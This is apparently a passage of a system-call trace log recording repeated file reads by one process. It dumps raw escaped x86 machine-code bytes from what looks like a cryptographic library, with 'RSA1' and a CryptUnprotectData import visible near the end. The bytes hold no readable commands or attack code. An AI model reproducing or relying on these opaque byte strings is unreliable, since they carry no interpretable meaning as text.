a4\xfb\x08\x81\xe2\xff\x00\xff\x00\xc1\xe7\x083\xd7\x8b\xfa\x89U\x94\x81\xe6\xff\x00\xff\x003\xf3\x8b\xde\x0f\xac\xdf\x10\xc1\xeb\x10\x89u\x98\x0f\xa4\xd6\x103\xde\x8bu\x98\xc1\xe2\x103\xfa\x8bU FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xcc\x89\x8d\x88\xfc\xff\xff\x8b\xce\xf7\xd1#\xcb\x8b]\xd0\xf7\xd2#\xd3\x8b]\xec#\xde\x8bu\xf0#u\xc83\xcb\x8b\x9dp\xfe\xff\xff3\xd63\xbdl\xfe\xff\xff\x8b\xb5\x88\xfc\xff\xff3\xf33\xbd\\xfe\xff\xff3\xb5`\xfe\xff\xff\x8b\x1c\xc5T[\x00h\x03\xcf\x8b\xbc\xc5\xac\xfc\xff\xff\x13\xd6\x03\x0c\xc5P[\x00h\x8b\xb4\xc5\xb0\xfc\xff\xff\x13\xd3\x8b]\xa4\x03\xcf\x8b}\xa8\x13\xd6\x8bu\xbc\x03\xcb\x13\xd7\x03\xf1\x89M\xe4\x8bM\xc0\x13\xca\x89u\xbc\x89U\xe8\x8bU\xd8\x89M\xc0\x8bM\xd4\x8b\xf2\x8b\xf9\x0f\xac\xf7\x1c\x0f\xac\xce\x1c\x89\xb5P\xfe\xff\xff\x8b\xf2\x89\xbdL\xfe\xff\xff\x8b\xfe\x8b\xf1\x89}\xfc\x0f\xac\xf7\x02\x89\xbdt\xfc\xff\xff\x8b\xfa\x0f\xac\xfe\x02\x8b\xbdt\xfc\xff\xff\x89\xb50\xfe\xff\xff\x89\xbd,\xfe\xff\xff\x8b\xf2\x8b\xfa\x8b\xdf\x8b\xf1\x0f\xac\xf3\x07\x0f\xac\xfe\x07\x89\x9d<\xfe\xff\xff\x8b]\xb83\xda#]\xe0\x89\xb5@\xfe\xff\xff\x8bu\xb4\x8b\xfe#\xf13\xf9# FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xbc\x8b\xd6\x8b\xf9\x0f\xac\xd7\x1c\x0f\xac\xca\x1c\x89\x95H\xfe\xff\xff\x89\xbdD\xfe\xff\xff\x8b\xd6\x8b\xfe\x89}\xf8\x8b\xd1\x0f\xac\xd7\x02\x89\xbd\xb4\xfa\xff\xff\x8b\xfe\x0f\xac\xfa\x02\x8b\xbd\xb4\xfa\xff\xff\x89\x95\xb8\xfe\xff\xff\x8b\xd6\x89\xbd\xb4\xfe\xff\xff\x8b\xfa\x8b\xd1\x8b\xdf\x0f\xac\xd3\x07\x0f\xac\xfa\x07\x89\x9d\x04\xfe\xff\xff\x8b]\xc83\xde#]\xf0\x89\x95\x08\xfe\xff\xff\x8bU\xc4\x8b\xfa#\xd13\xf9#}\xec\x8bM\xc83\xfa\x8b\x95\xb4\xfe\xff\xff#\xce3\xd9\x8b\x8d\x04\xfe\xff\xff3\xca3\x8dD\xfe\xff\xff\x8b\x95\x08\xfe\xff\xff3\x95\xb8\xfe\xff\xff3\x95H\xfe\xff\xff\x03\xf9\x13\xda\x8bU\xe4\x8bM\xe8\x03\xfa\x13\xd9\x8bM\xfc\x89]\xe0\x8b]\x0c\x89}\xdc\x8b}\xa0@AC\x89M\xfc\x89]\x0c\x83\xe1\x0f\x8b\x94\xcd\xac\xfc\xff\xff\x8b\x8c\xcd\xb0\xfc\xff\xffG\x8b\xda\x89}\xa0\x8b\xf9\x0f\xac\xfb\x01\x89\x9dT\xfb\xff\xff\x8b\xda\x0f\xac\xdf\x01\x8b\x9dT\xfb\xff\xff\x89\x9d\xc4\xfe\xff\xff\x8b\xda FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xff\x0f\xa4\xd7\x08%\xff\x00\xff\x00\xc1\xe2\x083\xc2\x81\xe1\xff\x00\xff\x003\xcf\x8b\xd0\x89\x85T\xff\xff\xff\x8b\xf9\x0f\xac\xfa\x10\x89\x8dX\xff\xff\xff\x0f\xa4\xc1\x10\xc1\xe0\x103\xd0\x8b\x85T\xff\xff\xff\xc1\xef\x103\xf9\x8b\x8dX\xff\xff\xff\x0f\xa4\xc1\x10\xc1\xe0\x10\x81\xe2\xff\xff\x00\x003\xd0\x8b\x85P\xff\xff\xff\x81\xe7\xff\xff\x00\x003\xf9\xc6\x85l\xff\xff\xff\x80\x89\x94\x05\\xff\xff\xff\x89\xbc\x05`\xff\xff\xff\x8b\xbdh\xff\xff\xff3\xc0\x0b\xf8\x8b\x85d\xff\xff\xff3\xd2\x0b\xd0\x89\x95X\xff\xff\xff\x89\xbdT\xff\xff\xff\x8b\xcf\x8b\xc2\x0f\xac\xc1\x08\x0f\xa4\xfa\x08\xc1\xe8\x08\x89\x85h\xff\xff\xff\x8b\xc1\x8b\x8dh\xff\xff\xff3\xca\x8b\x95T\xff\xff\xff\xc1\xe7\x083\xc7\x8b\xbdX\xff\xff\xff\x0f\xa4\xd7\x08%\xff\x00\xff\x00\xc1\xe2\x083\xc2\x81\xe1\xff\x00\xff\x003\xcf\x8b\xd0\x89\x85T\xff\xff\xff\x8b\xf9\x0f\xac\xfa\x10\x89\x8dX\xff\xff\xff\x0f\xa4\xc1\x10\xc1\xe0\x103\xd0\x8b\x85T\xff\xff\xff FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x00h\x84\xdb\x8b\xd7\x8b\xf1t\x0e\xc1\xe6\x1a\xc1\xe9\x02\xc1\xe2\x1a\xc1\xef\x02\xeb \xc1\xe6\x1b\xd1\xe9\xc1\xe2\x1b\xd1\xef\x0b\xd7\x0b\xf1\x81\xe6\xff\xff\xff\x0f\x8b\xce\xd1\xe9\x8b\xf9\x81\xe7\x00\x00\x00\x07\x89M\x0c\x8b\xde\x81\xe3\x00\x00\xc0\x00\x0b\xfb\xd1\xef\x8b\xde\x81\xe3\x00\x00\x10\x00\x0b\xfb\xc1\xef\x14\x8b\xd9\x81\xe3\x00\x00\x06\x00\x8b\xce\x81\xe1\x00\xe0\x01\x00\x0b\xd9\x8b\x0c\xbd\xb8#\x00h\xc1\xeb \x0b\x0c\x9d\xb8"\x00h\x8b}\x0c\x81\xe7\x00\x0f\x00\x00\x81\xe2\xff\xff\xff\x0f\x8b\xde\x81\xe3\xc0\x00\x00\x00\x0b\xfb\xc1\xef\x06\x0b\x0c\xbd\xb8!\x00h\x8b\xfe\x83\xe7?\x0b\x0c\xbd\xb8 \x00h\x8b\xfa\xd1\xef\x89}\xfc\x81\xe7\x00\x00\x00\x06\x8b\xda\x81\xe3\x00\x00\xe0\x01\x0b\xfb\x8b]\xfc\x81\xe3\x00\x1e\x00\x00\x89U\x08\x81\xe2\x80\x01\x00\x00\x0b\xda\xc1\xef\x15\x8b\x14\xbd\xb8'\x00h\xc1\xeb\x07\x0b\x14\x9d\xb8%\x00h\x8b}\x08\x8b\xdf\xc1\xeb\x0f\x83\xe3?\x0b\x14\x9d\xb8&\x00h\x83\xe7?\x0b\x14\xbd\xb8$\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xec\x8bE\x10\x8b\x08\xf6\xc1\x01u9\x83\xf9 r4\xd1\xe9\x89\x08\x8b\xc1\xc1\xe8\x05@\xf6\xc1\x1ft\x01@\x8d\x0c\x80\x8d\x14\xcd\x14\x00\x00\x00\x8bM\x0c\x89\x11\x8d\x14\xc5\x14\x00\x00\x00\x8bE\x08\x89\x10\xb8\x01\x00\x00\x00]\xc2\x0c\x003\xc0]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x81\xec\x90\x00\x00\x00S\x8b]\x08\x8b\x03W3\xff=RSA1\x89}\xfct _3\xc0[\x8b\xe5]\xc2\x0c\x00\x8bC\x08\xd1\xe8V\x8b\xf0\xc1\xee\x05F\xa8\x1ft\x01F\x8bK\x10\xb8\x01\x00\x00\x00;\xc8\x8d\x0c6u\x11\x8bu\x0c\x8b}\x10\xf3\xa5^_[\x8b\xe5]\xc2\x0c\x00\x8dC\x14QP\x89E\xf8\x8bE\x0cP\x89M\x08\xe8#\x08\x00\x00\x85\xc0}b\xc1\xe6\x03\x81\xfe\x88\x00\x00\x00v\x14Vj\x00\xff\x15\x00\x11\x00h\x85\xc0\x89E\xfctG\x8b\xd0\xeb\x06\x8d\x95p\xff\xff\xff3\xc0\x8b\xce\xc1\xe9\x02\x8b\xfa\xf3\xab\x8b\xce\x83 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xd5\xf8\xff\xff\xff\x89M\x14\xeb\x06\x8bu\xf4\x8bE\x10\x8bM\xcc3\xd2\x8a4\x06\x8aT\x06\xff\x8b\xc2\xc1\xea\x08;\xcau \xbe\xff\x00\x00\x00\x89u\x1c\xeb 3\xd2\xf7\xf1\x89E\x1c\x8b\xf0\x8b\xc6%\x00\x00\x00\x80\xf7\xd8\x1a\xc0\x8bM\xfc\x8b}\xf8\x89]\xd8\x8d\x0c\x8d\xfc\xff\xff\xff\x8b\xd1\x897%\xff\x00\x00\x00\x0f\xb6\xc0\x8a\xd8\x8bu\xfc\x8a\xfb\xc1\xe9\x02\x83\xc7\x04V\x8b\xc3\xc1\xe0\x10f\x8b\xc3\x8b]\xd8\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bE\xf8\x8bM\xf0PQS\xe8\xfd\xf6\xff\xff\x8b}\xec\x8d\x0c\xb5\x00\x00\x00\x00\x8b\xd1\xc1\xe9\x023\xc0\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bE\x14\x8b}\xec\x8b\xc8\x83\xe1\x1f\xba\x01\x00\x00\x00\xd3\xe2V\xc1\xe8\x05S\x89\x14\x87\x8bE\xf8WP\xe8\xbf\xf6\xff\xff\x8bM\xf8\x8bU\xf4VQRS\xe8T\x04\x00\x00\x8bG\xfc\x85\xc0y)\x8bE\xf0\x8bM\xf8VPWQ\xe8\x9a\xf6\xff\xff\x8bU\xf8VRSS\xe8\xee\x03\x00\x00\x8bM FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x00+\xc1\x83\xd2\x00\x89D\xaf\x0c\x8b\xca\x83\xc5\x04u\x96]\x8b\xc1_^[]\xc2\x10\x00\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecSVW\x8bu\x0c\x8b}\x08\x8bM\x103\xdb\x8b\x06\x83\xc6\x04\xf7\xe0\x03\xd8\x8b\x07\x83\xd2\x00\x03\xc3\x8b_\x04\x83\xd2\x00\x89\x07\x03\xd3\xbb\x00\x00\x00\x00\x89W\x04\x83\xd3\x00\x83\xc7\x08Iu\xd5_^[]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xccj\x08hx`\x00h\xe8\x9e1\xff\xff\x83e\xfc\x00\xffu\x08\xff\x15\xb4\x11\x00h\x83M\xfc\xff3\xc0\xeb\x1e\x8bE\xec\x8b\x00\x8b\x003\xc9=\x17\x00\x00\xc0\x0f\x94\xc1\x8b\xc1\xc3\x8be\xe8\x83M\xfc\xffj\x08X\xe8\xa11\xff\xff\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec]\xff%\xb8\x11\x00h\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x83\xec@VWj\x0eY3\xc0\x8d}\xc0\xf3\xab\x8dE\xfcPj\x013\xf6!u\xfc!u\xf8j\x08\xff\x15\x08\x11\x00hP\xff\x15 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xff\xff\xff\xd6\x85\xc0t%\x8d\x85\xe4\xfb\xff\xffPSSSSSSSj\x123\xf6FV\x8d\x85\xf4\xfb\xff\xffP\xff\x15D\x10\x00h\x85\xc0u \xff\x15\xc8\x11\x00h\x8b\xf8\xeb\x1c\x8b\x85\xdc\xfb\xff\xff\xff0\xff\xb5\xe4\xfb\xff\xff\xff\x15P\x10\x00h\x85\xc0t\x02\x8973\xff9\x9d\xe0\xfb\xff\xfft\x0b\xff\xb5\xe0\xfb\xff\xff\xe8I\xf1\xff\xff9\x9d\xe4\xfb\xff\xfft\x0c\xff\xb5\xe4\xfb\xff\xff\xff\x15$\x10\x00h9\x9d\xe8\xfb\xff\xff\x8b5\x04\x11\x00ht\x08\xff\xb5\xe8\xfb\xff\xff\xff\xd69\x9d\xf0\xfb\xff\xfft\x08\xff\xb5\xf0\xfb\xff\xff\xff\xd6\x8bM\xfc\x8b\xc7_^[\xe8\xb8\x1e\xff\xff\xc9\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x81\xec \x04\x00\x00\xa1\x84\x18\x03hS\x89E\xfcV3\xdb\x8d\x85\xfc\xfb\xff\xffW\x8b}\x08\x89\x85\xe0\xfb\xff\xff\x8d\x85\xf0\xfb\xff\xffPj\x08\x89\x9d\xf0\xfb\xff\xff\xc7\x85\xec\xfb\xff\xff\x00\x04\x00\x00\x89\x9d\xe4\xfb\xff\xff\x89\x9d\xe8\xfb FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x00\x00\x8d\x85T\xff\xff\xffP\xe9Q\xff\xff\xff\x89\x8dP\xff\xff\xff\xe9\x82\x02\x00\x00W\xff\xb5H\xff\xff\xff\xff\x15,\x11\x00h\x83\xf8\xff\x0f\x84\xfb\xfe\xff\xff\x83\xf8\x1c\x0f\x82c\x02\x00\x00WWWj\x02W\xff\xb5H\xff\xff\xff\xff\x15<\x11\x00h;\xc7\x89\x85<\xff\xff\xff\x0f\x84\xd2\xfe\xff\xffWWWj\x04P\xff\x158\x11\x00h;\xc7\x89\x85L\xff\xff\xff\x0f\x84\xb8\xfe\xff\xff\x8b\x00\x83\xf8\x02\x89\x03\x0f\x85\x1c\x02\x00\x00\x83{ \x00\x8b\x85L\xff\xff\xff\x8dS\x04j\x07\x8dp\x04Y\x8b\xfa\xf3\xa5t\x14\x83:\x00t\x0f\xc7\x85P\xff\xff\xff"\x00 \x80\xe9\xef\x01\x00\x00\x8bH \x8b@$\xffs\x08\x89\x8d4\xff\xff\xff\x89\x858\xff\xff\xff\xe8\xa6\xe0\xff\xff\x85\xc0\x89C@\x0f\x84q\x01\x00\x00\x8bK\x08\x8b\xb5L\xff\xff\xff\x8b\xf8\x8b\xc1\xc1\xe9\x02\x83\xc6(\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\x8bs\x08\xffs\x1c\x83\xc6(\x89\xb5P\xff\xff\xff\xe8k\xe0\xff FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x83\xf8\x05\x0f\x85h\x01\x00\x00C\xeb\xc3\xff\xb5\xa8\xfd\xff\xff\xff\x15\xc0\x11\x00h\x83\x8d\xa8\xfd\xff\xff\xff\x83\xa6\x04\x01\x00\x00\x00\x89\x9e\x08\x01\x00\x00i\xdb\x05\x01\x00\x00S\xc7\x86\x00\x01\x00\x00\x05\x01\x00\x00\xe8*\xd1\xff\xff\x85\xc0\x89\x86\x0c\x01\x00\x00u\x08j\x08[\xe9\x1f\x01\x00\x003\xc0PP\xb9\x94\x00\x00\x00\x8d\xbd\xac\xfd\xff\xffP\xf3\xab\x8d\x8d\xac\xfd\xff\xffQP\xff\xb5\x98\xfd\xff\xff\xff\x15$\x11\x00h\x83\xf8\xff\x89\x85\xa8\xfd\xff\xff\x0f\x84\x00\xff\xff\xff\x8b\x1dD\x11\x00h\x8d\x8d\xac\xfd\xff\xffQP\xff\xd3\x85\xc0t"3\xc0\xb9\x94\x00\x00\x00\x8d\xbd\xac\xfd\xff\xff\xf3\xab\x8d\x85\xac\xfd\xff\xffP\xff\xb5\xa8\xfd\xff\xff\xff\xd3\x85\xc0u\x0e\xff\x15\xc8\x11\x00h\x83\xf8\x12\xe9\xc5\xfe\xff\xff\x83\xa5\x9c\xfd\xff\xff\x00\x83\xbe\x08\x01\x00\x00\x00\x8b\xbe\x0c\x01\x00\x00\x0f\x86\x86\x00\x00\x00\x8d\x85\xa0\xfd\xff\xffPW\xff\xb5\xa4\xfd\xff\xff\x8d\x85\xd8\xfd\xff\xffPj\x01\xc7\x85 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => W\xe8\x13\xfc\xff\xff\x85\xc0u:\x8dE\xfcP\x8dE\xf8PVh\xe4\x1a\x03hha\x1d\x00\x00W\xe8\xf6\xfb\xff\xff\x85\xc0u\x1d\x8dE\xfcP\x8dE\xf8PVh\x04\x1b\x03hhb\x1d\x00\x00W\xe8\xd9\xfb\xff\xff\x85\xc0t*\x8b\xf0\xa1\xa8\x1a\x03h\x85\xc0t P\xe8Z\xc1\xff\xff\x83%\xa8\x1a\x03h\x00\x85\xfft\x07W\xff\x15\xa4\x11\x00h\x8b\xc6\xe9\x92\x00\x00\x00\xa1\xa8\x1a\x03h\x01\x05\xbc\x1a\x03h\x01\x05\xc0\x1a\x03h\x01\x05\xc4\x1a\x03h\x01\x05\xb0\x1a\x03h\x01\x05\xb4\x1a\x03h\x01\x05\xb8\x1a\x03h\x01\x05\xd4\x1a\x03h\x01\x05\xd8\x1a\x03h\x01\x05\xc8\x1a\x03h\x01\x05\xcc\x1a\x03h\x01\x05\xd0\x1a\x03h\x01\x05\xe0\x1a\x03h\x01\x05\xf4\x1a\x03h\x01\x05\xfc\x1a\x03h\x01\x05\xf8\x1a\x03h\x01\x05\x00\x1b\x03h\x01\x05\xdc\x1a\x03h\x01\x05\xf0\x1a\x03h\x01\x05\xec\x1a\x03h\x01\x05\xe8\x1a\x03h\x01\x05\xe4\x1a\x03h\x01\x05\x04\x1b\x03hW\xff\x15\xa4\x11\x00h3\xc0 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x11\x00h3\xff\xe9\x88\x00\x00\x003\xc0\x8dM\xfc@QPS\x89E\xf4\xff\xd6P\xff\xd7\x85\xc0t]3\xc0\x8d}\xd8\xab\xab\xab\xab3\xc0\x8d}\xc8\xab\xab\xab\xab\x8dE\xe8Ph c\x00hj\x00\xff\x15p\x10\x00h\x85\xc0t6\x8bE\xe8\x89E\xdc\x8bE\xec\x89E\xe0\x8dE\xf0P\x8dE\xc8Pj\x10\x8dE\xd8Pj\x00\xffu\xfc\xc7E\xd8\x01\x00\x00\x00\xc7E\xe4\x02\x00\x00\x00\xff\x15\x80\x10\x00h\x89E\xf83\xff\xffu\x1c\xffu\x18\xffu\x14\xffu\x10\xffu\x0c\xe8\xc3\xe6\xff\xff9}\x08\x8b\xf0t\x179}\xf8t\x12WWj\x10\x8dE\xc8PW\xffu\xfc\xff\x15\x80\x10\x00h9}\xfct \xffu\xfc\xff\x15\x04\x11\x00h9}\xf4t\x06\xff\x15X\x10\x00h_\x8b\xc6^[\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecQV\x8b5\x08\x1b\x03hWV\x89u\xfc\xe8\x88\xaf\xff\xff\x8b\xf8\x85\xff\x0f\x85\x02\x01\x00\x009F \x0f\x84\xf1\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xc0\x0f\x84\xd2\xfc\xff\xff3\xf6F\x83}\xb4\x00\x0f\x85\xfd\x01\x00\x00\x8bM\xb0\x8dA\x019E\xd4\x0f\x84\xee\x01\x00\x009M\xd4\xffu\x10\x0f\x85\xd8\x01\x00\x00\x8dE\xb8P\xffu\xe4\xffu\x0c\xffu\x08\xe8]-\x00\x00\x8b\xf0\x85\xf6\x0f\x84\xe3\x01\x00\x00\x83}\xb8\x01uj\xffu\x10\x8dE\xbcP\x8bE\xcc\xff0\xffu\x0c\xffu\x08\xffu\xc8\xffs \xe8\x07\xf9\xff\xff\x8b\xf0\x85\xf6\x0f\x84\xb6\x01\x00\x00\x83}\xbc\x00u=\xffu\x10\xffu\x0c\xffwT\xffu\x08\xe8G+\x00\x00\x85\xc0\x0f\x84B\xfc\xff\xff\xffu\x10\x8dE\xacPj\x01j\x08\xffwT\xffu\x0c\xffu\x08\xe8&7\x00\x00\x85\xc0\x0f\x84!\xfc\xff\xff3\xf6F\x83}\xac\x00\x0f\x84\xe8\xfe\xff\xff\xffE\xfc\x83E\xd0\x04\x83E\xdc\x08\x83E\xcc\x04\x83}\xfc\x01\x0f\x86\x18\xfc\xff\xff\x83e\xfc\x00\x8dG<\x89E\x08\x8dC0\x89E\xcc\x8dC8\x89E\xd0\xffu\x10\x8bE\x08\xffu\xd0j\x01\xff FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xd0\x8b\xd9\x83\xe0\x1f\xc1\xea\x05\xc1\xee\x05;\xc3\x89]\xfcr\x1b\x8dK\x01;\xf9\x89M\x18w\x03\x89}\x18\x8b\xc8\x8bE\x08\x8b\x14\x90+\xcb\xd3\xea\xeb\x19\x8dH\x01;\xf9\x89M\x18w\x03\x89}\x18\x8b\xcb+\xc8\x8bE\x08\x8b\x14\x90\xd3\xe2j Y+M\x18\x83\xc8\xff\xd3\xe0j\x1fY+M\xfc\xd3\xe8\x8bM\x10\x8d\x0c\xb1\x8b\xf0\xf7\xd6#1#\xc2\x0b\xf0+}\x18\x891\x0f\x85w\xff\xff\xff^[3\xc0@_\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecVW\xffu\x0c\x8b}\x08W\xe8\xbe\xfd\xff\xff\x8b\xf0\x85\xf6t\x0f\xfft\xb7\xfc\xe8Z\xfe\xff\xffN\xc1\xe6\x05\x03\xc6_^]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecV3\xc93\xf69M\x0ct\x0e\x8bE\x089\x0c\xb0u\x18F;u\x0cu\xf5\xffu\x10Qj\x11\xe8\\xb7\xfe\xff3\xc0^]\xc2\x0c\x00\xff4\xb0\xe8M\xfe\xff\xff\xc1\xe6\x05\x03\xc6\xeb\xec\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecQ FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xfc\x839\x00u\x08N\x83\xe9\x04\x85\xf6u\xf3\x8dD\x18\xfc\x838\x00u\x08J\x83\xe8\x04\x85\xd2u\xf3\xffu0\x8b]\xe4\x8dE\x80P\xffu,\x89u\xe8\x8bu\xe0SV\x8dE\x90P\x89U\xec\xe8\x89'\x00\x00\x85\xc0\x0f\x84 \x01\x00\x00\x8bM\x803\xffG\x85\xc9u 9M\x84\x0f\x84\x00\xfc\xff\xff\x8bE,;E\x14\x0f\x83\xf1\x00\x00\x00\x89\x0c\x86\x8bE,\x8bM\x84\x89\x0c\x83\xe94\xfe\xff\xff\x8b}\xf4\x8bU\xb4\xc1\xe7\x02\xc1\xe2\x02\x8bD\x15\xe8\x8bL\x15\xe0\x8dt=\xe8\x8b\x1e+\xd8\x89E\xfc\x8bE,C\x89M\xb4\xe8\xcb\xf6\xff\xff\xffu0\x89E\xf8\xffu\xd4\x8bD=\xd8\xffu\xd0j\x00\xffu\xfc\xfft\x15\xd8\xff6P\xe8\xa1\x11\x00\x00\x85\xc0\x0f\x84\x85\x00\x00\x00\x8bM\xd0\x8b\xc3\xe8\x98\xf6\xff\xff\x8bM\xd4\x8b\xd8\x8bE\xfc\xe8\x8b\xf6\xff\xff\x89\x06\xc1\xe0\x02P\xffu\xd4\xfft=\xd8\xe8\xe1<\x00\x00\x83\xc4\x0c\xffu0\xffu\xd4\xffu FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x01\x00\x00\x8dt\x9e\xfc\x8b\x06;\xc1\x89u\xe8\x0f\x84\xff\x00\x00\x00P\x89M\xfc\x89M\xec\xe8\xe0\xde\xff\xff\x8b>j Y+\xc8\x83\xfb\x02\x89M\xf8r \x8bE\x08\x8bt\x98\xf8\xeb\x023\xf6\x83\xfb\x03r \x8bE\x08\x8bT\x98\xf4\xeb\x023\xd2j\x1f[\xffu\x14+\xd9\x83e\xf4\x00\x8b\xc6\xd1\xe8\x8b\xcb\xd3\xe8\x8bM\xf8\xd3\xe7\xd1\xea\x8b\xcb\xd3\xea\x8bM\xf8\xd3\xe6\x0b\xc7\x8d}\xecW\x0b\xd6\x8b\xf2\x83\xcb\xff\x8d}\xfcW\x8b\xd3P+\xd0\x8b\xcb+\xceRQ\xe8\xa8\xfe\xff\xff\x85\xc0t9\x8bE\xfc\xf7\xe6;U\xec\xc7E\xf4\x01\x00\x00\x00\x89E\xe0v\x03\xffM\xfc\x8bM\xf8\x8bE\xe8\x8b}\x0c\x8b\xf3\xd3\xee+0O;u\xfcsD\x85\xffv\x0f\x8bE\x08\x8bD\xb8\xfc\xeb\x08\x83e\xf4\x00\xebW3\xc0\x8bU\x08\x83e\xe4\x00\x8b\xcb+\xc8\x8bE\xfc\xf7$\xba;\xd6w\x17r\x04;\xc1w\x11+\xc8\x1b\xf2\x89u\xe4\x8b\xf1u \x85\xffu\xbb\xeb\x03 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xfb\xcb\x0f\xd4\xc1\x0f\x7f\xc1\x0f\x7f\xd3\x0f\xdb\xcb\x0f\x7f \x83\xc1\x10O\x0fs\xd0 \x0f\x7f\xc1u\xd19S\x0c\x0f\xef\xc0\x0f\x7f\xc3\x0f\xfb\xd9\x0f\x7f\xd9\x0f\xdf\xcat.\x8bK\x08+\xf1\x0fo\x14\x0e\x0f\xd4\xc2\x0fo\x11\x0f\x7f\xcb\x0f\xdb\xd3\x0f\xd4\xc2\x0f\x7f\xc2\x0f~\xd7\x89<\x90B\x83\xc1\x10;S\x0c\x0fs\xd0 u\xd7\x0fw3\xc0_@^\x8b\xe5]\x8b\xe3[\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffS\x8b\xdcQQ\x83\xe4\xf0\x83\xc4\x04U\x8bk\x04\x89l$\x04\x8b\xec\x83\xec8\x8bC\x10\x8bK\x18\x83e\xec\x00\x83M\xe8\xff\x83e\xe4\x00\x83M\xe0\xfff\x0foU\xe0\x89E\xd0\x8bC\x14V\x8b0W\x8bx \x8b@\x1c\x89E\xdc\x8bC\x08\x8b\x10\x0f\xafU\xdc\x83\xc1\x0f\x8b\xc6\x83\xe1\xf0\xc1\xe0\x04\x03\xc1\x85\xf6\x89U\xc8\x89E\xd4tY\x8bS\x08+\xd7\x89E\xf8)M\xf8f\x0f\xef\xc0\x89M\xd8\x89}\xfc\x89U\xcc\x89u\xf4\xeb\x03\x8bU\xcc\x8b}\xfc FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => \xff\x85\xf6t\x08\x8b\xc8\x8b\xc2\x8b\xd1\x8b\xce\x83e\x14\x00\x85\xd2_u\x0f\x8bU\x18\x8bu\xfc\x89\x02\x89J\x04\xebh\xd1\xea\x8b\xda\xf7\xd3\xf6\xc3\x01u\xf5\xeb1;\xc2\x1b\xf6\xf7\xde+\xce+\xc2\xeb \x8b\xf1\xc1\xe6\x1e\xc1\xe8\x02\x0b\xc6\xc1\xe9\x02\xa8\x03t\xef\x8b\xd8\xf7\xd3\xf6\xc3\x01t\x0b\x8b\xf1\xc1\xe6\x1f\xd1\xe8\x0b\xc6\xd1\xe9\x85\xc9u\xcb\xffu\x1c\x8dM\x14QRP\xe8 \xfe\xff\xff3\xf6\x85\xc0t\x12\x8bE\x14\x83e\x14\x00\x8bM\x18F3\xd2\x89\x01\x89Q\x04\x8b\xc6^[\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x83\xec\x10SVW\xffu\x1c\xffu\x10\xffu\x0c\xe8\xd3\xbf\xff\xff\x8bu\x18\x8b\x1e\xffu\x1c\x8bN\x08\x89E\xf8\x8b\xc3\xc1\xe0\x02j\x00\x03\xc8Q\x89E\xf0\xe8 \xc6\xff\xff\x8b\xf8\x85\xff\x89}\xfcu\x073\xdb\xe9\xbc\x01\x00\x00\x83}\xf8\x00\xffu\x1c\xff6u\x1d\xffv \x8bF,\xffu\x14PP\xe8\xf8\xb3\xff\xff\x8b\xd8\xf7\xdb FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,124	972	NtReadFile	Buffer => Data\x002\x00\x00CryptUnprotectData\x00d\x00\x00SHGetFolderPathW\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\xe0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xe0\x02\x00\xe0\x11\x00\x00\x10\xdf\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00N\xe3\x02\x00\xd4\x10\x00\x00<\xde\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00j\xe4\x02\x00\x00\x10\x00\x00T\xe0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xe7\x02\x00\